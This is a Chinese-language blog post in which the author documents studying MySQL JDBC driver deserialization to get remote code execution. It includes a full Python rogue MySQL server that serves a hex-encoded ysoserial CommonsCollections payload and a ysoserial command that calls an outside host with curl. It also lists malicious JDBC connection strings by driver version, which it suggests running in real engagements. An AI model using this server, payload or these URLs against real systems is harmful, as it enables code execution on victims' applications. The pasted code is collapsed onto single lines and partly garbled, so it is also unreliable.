JDBC反序列化入门学习

学习来源 https://xz.aliyun.com/t/8159

JDBC？

Java Database Connectivity

不复制粘贴了,见JDBC基础介绍

测试环境

IDEA
Mysql 5.7

建立JDBC连接

https://www.runoob.com/java/java-mysql-connect.html

下载驱动包

https://dev.mysql.com/downloads/connector/j/

不要下最新的，估摸着是修了。下载8.0.12

多下几个版本

每个版本在反序列化利用的时候有一定区别。

右键引入作为module库，就跑起来了。

反序列化简单介绍

漫谈Java反序列化

https://github.com/SummerSec/JavaLearnVulnerability

以及落木萧萧的article

跟着文章学习

反序列化漏洞三要素实现Serializabe接口、readObject()、writeObject()方法，缺一不可。
漏洞挖掘或许就是怎么找到可控点，达到rce的目的。

断点调试

com.mysql.cj.jdbc.Driver的触发点是

com.mysql.cj.jdbc.result.ResultSetImpl.getObject()

要触发需要在连接字符串中加上

queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

打断点

如果是二进制数据就会往下走，到readObject处触发反序列化。

这个方法在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues() 处调用。

对比其他人的漏洞分析文章发现，我的这个版本在这里没有了对结果处理的函数

调用点

构造POC

根据执行SHOW SESSION STATUS这条语句之后要在服务端返回一个恶意的二进制对象，所以重点就是怎么构造这个对象，有时候漏洞存在的情况仍然攻击不成功，有可能是因为各个版本的mysql发包不一样，需要抓包定制化攻击。

Mac下抓包测试

tcp.port ==3306 && mysql

第一个是Response Ok

数据包内容为

0700000200000002000000

show session status响应包

重点是这个响应包

结果集响应包的结构

数据段1：说明下面的结果集有多少列
数据段2：列的定义
数据段3：EOF 包
数据段4：行数据。

结果集数据包如图

01 数据长度为1 00 00 01 sequence id为1 02 代表有两列

整个数据包如下

第三部分是EOF，文章作者说加上就会报错。我在问熟悉这个漏洞的朋友。

第四部分就是自己的poc

使用yso生成即可。

yso的链目前不懂。

java -jar wingyso.jar CommonsCollections7 "curl 5s3g.hyuga.co" > data

补充截图

问候报文

所有的response需要对应上。

作者的poc

# -*- coding:utf-8 -*-
#@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
data = conn.recv(1024) print("[*] Receiveing the package : {}".format(data)) return str(data).lower()def send_data(conn,data):
print("[*] Sending the package : {}".format(data)) conn.send(binascii.a2b_hex(data))def get_payload_content():
//file文件的内容使用ysoserial生成的使用规则 java -jar ysoserial [common7那个] "calc" > a file= r'a' if os.path.isfile(file): with open(file, 'rb') as f: payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8') print("open successs") else: print("open false") #calc payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878' return payload_content# 主要逻辑
def run():
while 1: conn, addr = sk.accept() print("Connection come from {}:{}".format(addr[0],addr[1])) # 1.先发送第一个问候报文 send_data(conn,greeting_data) while True: # 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok receive_data(conn) send_data(conn,response_ok_data) #其他过程 data=receive_data(conn) #查询一些配置信息,其中会发送自己的版本号 if "session.auto_increment_increment" in data: _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000' send_data(conn,_payload) data=receive_data(conn) elif "show warnings" in data: _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000' send_data(conn, _payload) data = receive_data(conn) if "set names" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "set character_set_results" in data: send_data(conn, response_ok_data) data = receive_data(conn) if "show session status" in data: mysql_data = '0100000102' mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000' mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000' # 为什么我加了EOF Packet 就无法正常运行呢？？ //获取payload payload_content=get_payload_content() //计算payload长度 payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4) payload_length_hex = payload_length[2:4] + payload_length[0:2] //计算数据包长度 data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6) data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2] mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex mysql_data += str(payload_content) mysql_data += '07000005fe000022000100' send_data(conn, mysql_data) data = receive_data(conn) if "show warnings" in data: payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000' send_data(conn, payload) breakif __name__ == '__main__':
HOST ='0.0.0.0' PORT = 3307 sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间 sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sk.bind((HOST, PORT)) sk.listen(1) print("start fake mysql server listening on {}:{}".format(HOST,PORT)) run()

Exp

测试的时候把yso这个包也当做依赖加进来才能出发CC链。所以实战中最好全部跑一边，只要确定目标的版本没问题的话。

ServerStatusDiffInterceptor触发
8.x: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
6.x(属性名不同): jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
5.1.11及以上的5.x版本（包名没有了cj）: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
5.1.10及以下的5.1.X版本：同上，但是需要连接后执行查询。
5.0.x: 还没有ServerStatusDiffInterceptor这个东西┓( ´∀` )┏
detectCustomCollations触发：
5.1.41及以上: 不可用
5.1.29-5.1.40: jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
5.1.28-5.1.19：jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
5.1.18以下的5.1.x版本：不可用
5.0.x版本不可用